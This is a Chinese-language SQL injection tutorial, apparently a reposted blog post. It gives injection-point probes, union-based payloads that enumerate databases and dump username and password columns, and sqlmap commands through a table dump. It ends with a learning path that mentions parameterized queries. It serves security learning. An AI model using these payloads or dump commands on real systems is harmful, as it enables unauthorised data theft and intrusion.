// 安全研究 · 2025-10-25

SQL注入学习入门:手工注入与工具使用

一、基础知识

1. 核心系统库

information_schema.schemata    -- 存储所有数据库信息
information_schema.tables      -- 存储所有表信息  
information_schema.columns     -- 存储所有列信息

2. 数据结构层级

数据库(database) → 表(table) → 列(column) → 数据(data)
例:xxx库 → users表 → id,username,password列

二、手工SQL注入

1. 注入点判断

# 经典测试方法
?id=1'          -- 报错测试
?id=1 and 1=1   -- 真条件,正常返回
?id=1 and 1=2   -- 假条件,无返回或异常
?id=1' --+      -- 注释测试(MySQL)
?id=1;--        -- 注释测试(SQL Server)

2. 查询当前数据库所有库

-- 查询语法
SELECT schema_name FROM information_schema.schemata

-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata %23

3. 查询当前库所有表

-- 实际注入Payload
http://192.168.0.217/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

4. 常用Payload速查

目的 Payload
查版本 union select 1,2,version()
查当前库 union select 1,2,database()
查当前用户 union select 1,2,user()
查所有库 union select 1,2,group_concat(schema_name) from information_schema.schemata
查所有表 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
查数据 union select 1,2,group_concat(username,':',password) from users

三、SQLMap工具使用

1. 官方资源

2. 常用命令

# 基础扫描
sqlmap -u "http://target.com/?id=1"

# 查看详细信息(推荐-v 3)
sqlmap -u "http://target.com/?id=1" -v 3

# 不检测WAF(提高速度)
sqlmap -u "http://target.com/?id=1" --skip-waf

# 保存HTTP日志
sqlmap -u "http://target.com/?id=1" -t http_log.txt

# 指定数据库类型
sqlmap -u "http://target.com/?id=1" --dbms=mysql

# 获取所有数据库
sqlmap -u "http://target.com/?id=1" --dbs

# 获取当前数据库的表
sqlmap -u "http://target.com/?id=1" -D database_name --tables

# 获取表中的列
sqlmap -u "http://target.com/?id=1" -D database_name -T users --columns

# Dump数据
sqlmap -u "http://target.com/?id=1" -D database_name -T users -C username,password --dump

3. 详细等级说明 (-v参数)

等级 说明
0 只显示Python错误和严重信息
1 同时显示信息和警告(默认)
2 同时显示调试信息
3 同时显示注入Payload
4 同时显示HTTP请求
5 同时显示HTTP响应头
6 同时显示HTTP响应内容

四、学习路径建议

第一阶段:理解原理
    ↓ 掌握SQL语法、数据库结构
第二阶段:手工注入
    ↓ 练习判断注入点、构造Payload、读取数据
第三阶段:工具使用
    ↓ 学习SQLMap参数、理解工具原理
第四阶段:绕过与防御
    ↓ 学习WAF绕过、掌握防御方案(参数化查询、预编译)

原文 https://blog.csdn.net/2301_79518550/article/details/153873808